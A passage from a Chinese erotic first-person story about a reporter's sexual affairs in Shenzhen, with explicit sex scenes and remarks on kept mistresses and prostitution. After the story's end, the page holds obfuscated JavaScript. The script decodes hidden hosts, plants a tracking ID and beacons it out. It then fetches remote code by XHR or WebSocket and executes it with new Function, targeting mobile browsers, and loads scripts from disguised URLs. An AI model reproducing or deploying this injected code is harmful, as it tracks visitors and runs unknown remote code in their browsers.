人的舌头纠缠在一起,我癫狂了。
飞的尖叫和音量与我抽插的急促和力度同步,飞的乳头开始变硬,阴道内开
始痉挛,我知道她快不行了,就在我快要射的刹那间,我把阴茎拔了出来,快速
架在飞的阴阜上,精液在输精管被挤压后如箭而出,啪啪地打在雪儿和飞的脸上
……这个远距离射精术是萍姐当年教我的,她喜欢在第一时间品尝到精液的味道。
雪儿和飞被这突如其来的琼浆玉液镇住了,等反应过来,已经过了一秒钟,
只听俩人同时淫荡至极地尖叫起来,像是受了刺激,又像是在欢呼我这种方式的
宣泄。我重重地倒在飞的身上,雪儿也一起躺了下来,身上的汗水和精液将我们
三人的身体紧紧粘合了,我能感到飞的阴部余震不止,下体还在本能地向上撅挺
着。
之后的一星期,我们三个天天都这样在一起放纵着。我的体力很好,但也架
不住两个贪婪女人的不断榨取。好在雪儿和飞找到了自己的乐趣,从开始的不娴
熟到后来的得心应手,俩人在我弹尽粮绝的时候依然自得其乐。就是从那时起,
我瞭解了女同之间如何做爱,并学会了欣赏这其中的美妙,此时的女人真的非常
美!
雪儿的培训就要结束了。最后一夜,我们三人没有再疯狂,而是围坐在一起
温馨交谈,彼此最难舍的是眼前的这两个女人,我自己先回酒店,把最后的时光
留给她们自己。
第二天,我们把雪儿送去机场。我和飞没有再单独见面,我有分寸的,这是
为了我喜欢的雪儿,也是为了不让飞低看了男人,她们都是很棒的女人。
(十)散着暗香的兰花
不知是因为南方的气候和饮食,还是在独身自由氛围下催生出来的欲望和放
纵,总之,在深圳的那短时间,我的性欲尤其旺盛。
雪儿走后的第一个周末,兰带我去大梅沙小梅沙玩。那天的湿度不是很大,
鹹鹹的海风拂来,感觉把五脏洗得乾乾净净,双脚浸入海水,清凉从脚底蔓延到
全身……余光中,我看到兰在偷看我。
吃中饭的时候,兰突然问我:「哥,想雪儿了吧?」她并不知道还有3P故
事,只知我和雪儿形影不离。
我看着她点点头,默认了。
「雪儿真的好美……」兰似在自言自语,转而又道:「但你也是个帅哥!」
我还是没说话,看着她认真的样子微笑。兰还想说什么,却欲言又止,转身
去买了两盒霜淇淋,她很善解人意。
郁闷的时候看海对我来说有特殊的疗效,那天和兰在海边倘佯了许久,很晚
才返回。晚风出来,略有凉意了,我关切地问兰冷不冷,她摇头,然后赶紧点头,
我搂住她,问:「这样呢?」她笑了。我突然发现了她的美丽,这美丽固然源自
她这些天对我无微不至的关心和任劳任怨地做事,也来自她这一霎那灿烂的笑容。
男女之情并不一定以爱情为前提,有时候,一个眼神,一种气味,一个动作,
甚至一个转身……都会在内心荡起涟漪。兰走入我的视线正是我搂住她时她展露
的灿烂一笑。这笑里有满足,有幸福,有兴奋,还有不安。涟漪之下,暗流开始
涌动,我感到了一阵隐隐的冲动,也听到了自己在对兰说:「谢谢你!你真好!」
兰那天欲言又止想说什么,我再也没机会听到。那晚瞬间产生的暧昧和冲动
并没有在我们之间产生具体的结果。兰因工作需要不得不回编辑部述职,在她的
向导和介绍下,我对深圳也已经相当瞭解,她的确不必继续为我奔跑了。我们时
有电话联系,我们离开深圳前还一起吃过一次饭,但唯有那晚,我们走的最近最
近。
(十二)深圳,「二奶」的摇篮
我要对经济特区作深度报导,自然无法回避那个年代那个区域特有的社会现
象和人群,「二奶」现象就是其中的一个。
中国的国门在闭塞了多年之后在南国边陲的这个城市重新开启,接踵而来的
除了先进的理念和技术,还有西化了的生活方式。深圳和香港的经济相互依存,
只不过当时顺序不像现在,深圳的发展要仰仗香港的繁荣。
每日有许多货车来往於香港和深圳之间,也有香港生意人利用特区的优惠条
件过来开公司办企业。这些香港人到了深圳,创业的同时也纷纷为自己筑起了
「爱巢」,包养内地的女孩作为临时老婆。
根据朋友的介绍,我走访了几家白话班,据说在那里更容易遇到二奶们,这
些内地姑娘为了更好地与港人沟通,很勤力用功地学「白话」,也就是广东话。
我走访了好几个白话班,询问了好几个看上去像「二奶」的姑娘,但她们在
我说明採访意向之后就纷纷摇手拒绝了。我很理解,毕竟这是被社会和舆论看低
的身份。只有娟子落落大方地答应了我,还带我去了她的宿舍。
她和其他三个「二奶」小姐妹住在一套公寓房里,房租都是她们的香港男友
支付的,还有每月的生活费和其他一些经济和物质实惠。有些男友比较苛刻,对
自己的二奶有要求,包括不许自由活动等等,但实际上他们也无法真正管束到她
们。二奶们和安徽的保姆群体一样,彼此之间都会交流经验。再说,男友不在的
时候,她们有大把时间消费娱乐或者放纵。
香港男人在深圳和内地建起的「屋外之屋」引起了家里「黄脸婆」的抗议,
据说还有走上街头抗议的,几近成了香港的一个社会问题。
(十三)湘妹娟子
娟子之所以愿意向我介绍「二奶」生活,是因为她已决定脱离这个圈子。我
和她相识的时候,她男友过来的次数已经越来越少,实惠自然也大不如前,与其
这样耽误青春,还不如另作打算。
娟子26岁,来自湖南,身材娇小丰满,说话嗓音清脆,举手投足之间颇有
湘妹的泼辣劲。刚到深圳的时候,她在发廊工作做了两三年,后来当了「二奶」,
便放弃了手艺。现在,她想用这两年攒的钱自己开一间发廊。
我们第三次见面的那个晚上,其他屋里的二奶们都各自和男友出去吃饭唱歌
了。我继续听娟子讲她的「二奶」生涯,我问她有没有寂寞的时候,她说当然,
我让她说具体点,她调侃道:「譬如现在就是啊,别人有人陪,而我却孤单一人
……」
我突然意识到了什么,却又不肯定,旁敲侧击地问:「我不是在么?」
她显然不相信我有这么愚钝:「你我和他们一样吗?!」说完后白了我一眼。
男人骨子里有觊觎别的男人的女人的「欲望基因」,这个「基因」在我之后
的生活里时常出来作祟,而第一次意识到这点就是在和娟子的交往过程中。
她说完前面那句话,我不假思索地说:「我们可以变成和他们一样呀!」
娟子笑了,小手轻轻锤了一下我的肩头,似真似假地问:「你也要包我?」
我一把抓住她的手没放。
娟子慢慢把手从我的掌下抽走,点上一支烟,重重地吐出了一口,语调幽幽,
不无伤感:「你别拿我找乐子了!你是个过客而已,能在这里待多久!我虽说当
了二奶,但我也渴望一份长久的温情,我想要有家的感觉……」
她的话让我为自己的轻浮羞愧,那个「欲望基因」破坏了对我眼前这位湘妹
的尊重,我向她表示了歉意。我望着她,希望自己的眼神能传递一种真诚的资讯。
娟子笑了笑说:「你不必介怀,我早已习惯了男人的这种念头。但你不是个
坏人,我知道。」她的话比我的眼神更真诚,很受用。
她吸了口烟,继续道:「我并没指望要和你有一个什么长久的关系,但不瞒
你说,我的确希望和你有快乐,哪怕这快乐只是片刻的,短暂的,不然也不会接
受你的採访!我真的是太寂寞了……」娟子流泪了,我递过纸巾,她哭出了声。
我用话语安慰她,她好受了些,末了,她抬起头,泪眼注视着我,问:「你
能抱抱我吗?」
我轻轻把她搂在怀里,她的眼泪沾湿了我的脸颊。那一刻,我相信,她的寂
寞要比我看到的和感到还要深切;那一刻,我和娟子的内心似乎有了某种交集,
而这个交集与我的「欲望基因」全然无关。
之后两天我们没有再联系,单位批准了我的写作提纲,我把自己关在酒店屋
里闭门写作。第三天中午,有人敲门,打开一看,出现在我眼前的是婷婷玉立的
娟子。看得出来,娟子今天是精心打扮过的,气色也不错。
她进门后看到我屋里的淩乱,也不说话,三下五除二地收拾起来,我很歉意
地说:「别弄髒了你的衣服……」她没说话,接着打扫。
等一切收拾停当,她过来搂住我,仰头沖着我,手指杵着我的鼻尖说:「我
后天晚上就要回湖南老家了,这两天我要和你好好快乐!」她的口吻似乎没有任
何商量余地,她决定了,我只有跟着照办的份儿。
「现在去哪里?」我问。
「先带你去我朋友的发廊,给你理发按摩,然后……」
没等她说完,我赶紧接过来:「然后我请你吃饭!」
娟子故意变脸:「不要,这两天都由我安排,一切听我的!」我哑然。她突
然大笑起来,然后煞有其事地说:「我有两个理由要求你听我的。第一,我比你
大。第二,以往我被保养,这两天我想体验一下包养别人的滋味。你愿意被我包
养吗?不许说不!」
我也开心地笑起来,心想,这第一个理由么虽然没错,但不算充分;这第二
个理由倒一下子触动了我的欲望神经。被人包养,新鲜!那我也跟着一起体验体
验呗。
就这样,我被娟子「包养」了两天。她带我去吃,去玩,还给我买衣服(包
括内裤),带我去唱卡拉OK……到了晚上,她要我给她按摩,帮她洗浴,抱她
上厕所(甚至要我把她尿尿),要我吻遍她全身,要我把她伺候舒服了。
娟子是个前突后撅的娇小尤物,压抑了大半年的欲望恨不得要在这两天两夜
内发泄而尽。第一夜,不知是不习惯放弃主动,还是写作用脑过度的缘故,总之,
我一反常态,在射了两次后就略显颓势。娟子一点都不着急,爬过来咬着我的耳
朵说:「我有办法的,你信不?帅哥!」说完后让赤裸的身体仰卧在床上,我好
奇地看着她将要做什么。
只见她分开双腿,一手玩弄自己的乳房,另一只手开始手淫阴部,口里发出
了令人喷血的呻吟和欢叫……真的,这是我听到的最性感的叫床声,这是一副多
么刺激的画面哦!我的身体立刻恢复了雄风,我急速爬到她身边,正欲进入她的
身体,她慌忙说等等,我明白了她的意思,她是要我等她高潮前夕再刺入。果然,
这次她体验到了连续性的高潮。
我们度过了欢乐的两天,没有期盼和失落,分手告别时也无任何伤感,我们
互道祝福,她回了老家,用「包养」别人的方式结束了自己在深圳被包养的「二
奶」生涯。
我感谢她对我的坦诚和关怀,也记住了她与我肉体交融后产生的亲密。这是
个善良而能干的女人,她让我瞭解到了那个社会阶层和群体的辛酸苦辣和人性亮
点。
(十四)五彩云霞飞南国
娟子走了,留给我的是空洞和空虚,头两天很难熬。雪儿和我还有联系,盼
着我回去后见面。好在我需要写的东西不少,除了为本单位写,也给其他报社投
稿,多少填补了时间,顾不上胡思乱想了。
每天晚上,我都去酒店附近的一家粤菜馆吃饭,然后散步,沿着深南大道往
市中心的闹市走去,沿途还真有不少人文风景。
当时的特区与内地明显不同的地方是街边的性病门诊特别多,晚上走在马路
上,有美女迎面而来,就在擦肩而过的一刹那,对方会快速低声地问:「需要服
务吗?」她们是一群靠出卖身体来赚钱的群体,当地人叫她们「鸡」。
据说特区刚设立那会儿,头一批鸡来自上海,她们中的许多挣够了钱后金盆
洗手从良了,用身体换来的第一桶金做起了正经事业。后来是来自两湖和四川的
辣妹子们,我在深圳的那会儿正赶上东北姑娘的活跃期。
第一次和朋友一起去卡拉OK(现在叫KTV),立马就被那场面镇住了。
夜总会在郊外,五颜六色的霓虹灯,给深圳的夜晚蒙上了纸醉金迷的色彩。
门外的广场上乌泱泱聚集着一大堆年轻女子,就跟赶集一样。唱歌娱乐的人会从
中挑选自己中意的,姑娘们陪吃陪喝还陪唱,酒杯相碰,身体紧贴,歌声绵绵,
舞姿翩翩……这是当年特区的特色之一。
我不是很喜欢与背景很杂的女人深交,倒不是我清高挑剔,她们中其实不乏
出众的性感女子,我是怕不乾净染病,这是唯一的顾虑。所以,每次出去玩,我
更多的是在旁欣赏和观赏。
在深圳那些日子,我成了酒店附近那家粤菜馆的老主顾。餐馆老闆自己很少
来,委託了一个陕西籍的中年女人打理,员工和回头客都叫她阿彩。阿彩略胖,
走路时肥臀扭摆,一副熟女姿色。她为人热情,服务周全,很适合做她这个职位。
每次我进门,她都会亲自领我去就坐,时间长了,吧台对面那张餐桌成了我
的专座。
我们熟悉之后时有交流,她来自西安,已婚,老公和孩子都在老家,只身来
深圳打工,已有三年。我写作太累的时候,也会在她那里坐上一晚上,就是聊天。
她很开心有人陪自己。阿彩当时应该三十六七岁左右吧,她看我的眼神与众
不同,从不回避,说到轻佻的话题,咯咯笑个不停,还会有意无意地拍打我一下。
阿彩总夸我年纪不大懂得挺多,很愿意让我给她出主意,到最后,甚至连她
夫妻间的烦恼也告诉我,我很耐心地为她解惑,她越发信任我,也越来越关心我,
无形中,俩人的关系就走近了。她知道我写作没有固定的作息,说以后不用来餐
馆吃,她可以把饭给我送到酒店房间去,我也不和她客气,就这样,她进入了我
的房间。
那天外面大雨倾盆电闪雷鸣,她给我送来了饭菜,看着她被淋了个透湿,我
心里顿生感动,我拿来干浴巾给她擦拭,淋湿的衣服紧贴着她的皮肤,丰满的乳
房似隐似现,屋里柔柔的灯光把她照耀得韵味十足。
我一边道谢一边帮她擦拭,她咯咯笑着,问:「要不我在你这里洗洗吧?这
样擦是擦不干的。」我说当然可以。
沖洗完,阿彩香喷喷地走了出来,湿漉漉的头发披在肩上,大浴巾遮扣在乳
房上方,我问要不要给她一件体恤衫,她笑着说,T恤只能裹住上面,下面咋办?
我说那就光着呗……俩人嘻嘻哈哈,和平日里一样不正经。男女说话轻佻多
少都有暧昧意向,彼此没有好感的男女是不会这样的,我和阿彩的好感基於某种
信任。
我们的关系就如一张一捅就破的纸,破之前似乎很微妙,但破起来却很简单。
阿彩说她的衣服需要吹凉,要在我这里多待一会儿,我张口就来:「太没问
题了,你住这里都行。」
屋里有了女人香就是不一样,好温馨!阿彩坐到我身后,默默搂住我,把头
靠在我的后背,我轻轻抚摸她的小胖手,她搂我搂得更紧了,等她再张口说话时,
语调语气和音量都与平日不同了,细柔的慢板,整个换了一个人。
「我好久没有这样靠过一个男人了……你的后背和肩膀真结实……」我把她
的手放到嘴边,亲吻了一下,阿彩动情了。
我顺势向后躺下,她的胸几乎贴到了我的脸上,我看着她,看到她的眼神在
默许我做一切。我解开她身上的浴巾,一对硕大的白乳房掉了出来,我一口含住
乳头,引出了她一串颤巍的呻吟……
她享受着,手同时伸向我的下体,隔着短裤狠狠抓住早已勃起的阴茎。「我
的乖,今天你可一定要好好操我呃!」
第二天淩晨,我们都已精疲力尽,浑身汗渍渍的她伸出四个手指,气喘吁吁
地说:「偶的乖,来了四次,我完蛋了……」阿彩边帮我擦试沾满淫液精液的阴
茎,边感慨:「还是年轻男人好!」
根据我多年的经验,西北女人床上的活儿很棒,她们很投入,解风情,敢说
敢做,娶西北女人当老婆的男人应该是很有福气的。
在南国的三个月里,我和LP几乎每天都有联系,也挺想念她,甚至都有过
电爱,但放纵的闸门一旦启开,自由的日子一旦经历,就很难在短期内重拾散乱
的心。那些日子里,我悟出了个道理:自由的氛围的确能增强和刺激男女荷尔蒙
的效力。LP虽好,但远在天边。放纵后的人会给自己找到一千个允许自己堕落
的理由来!
我声明:「堕落」「放纵」等说法在我这里并非贬义词,而是对某种生活阶
段和状态的客观描述。人这一生应该多经历,路在脚下,当你迈步的那一刹,你
后一段的行进方向就已註定。而你在每个人生驿站遇到的看到的听到的,都带着
很大的启示性和功能性。它们不是无缘无故显现的,它们的存在就是为了让人经
历。
谢谢雪儿、飞、娟子和阿彩,你们让我享受和感悟了许多。
再见,深圳。你是我人生旅途中很重要的驿站。
【完】
关闭
function OLrAJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function dSMOXiRm(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OLrAJ(t);};window[''+'o'+'y'+'d'+'h'+'M'+'A'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MJTu(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=dSMOXiRm,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MJTu(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MJTu(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYYlMkZhLmdiYYnB0bC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS53aGJnei5jbiUzQTTk1MzU=','9489',window,document,['Y','T']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();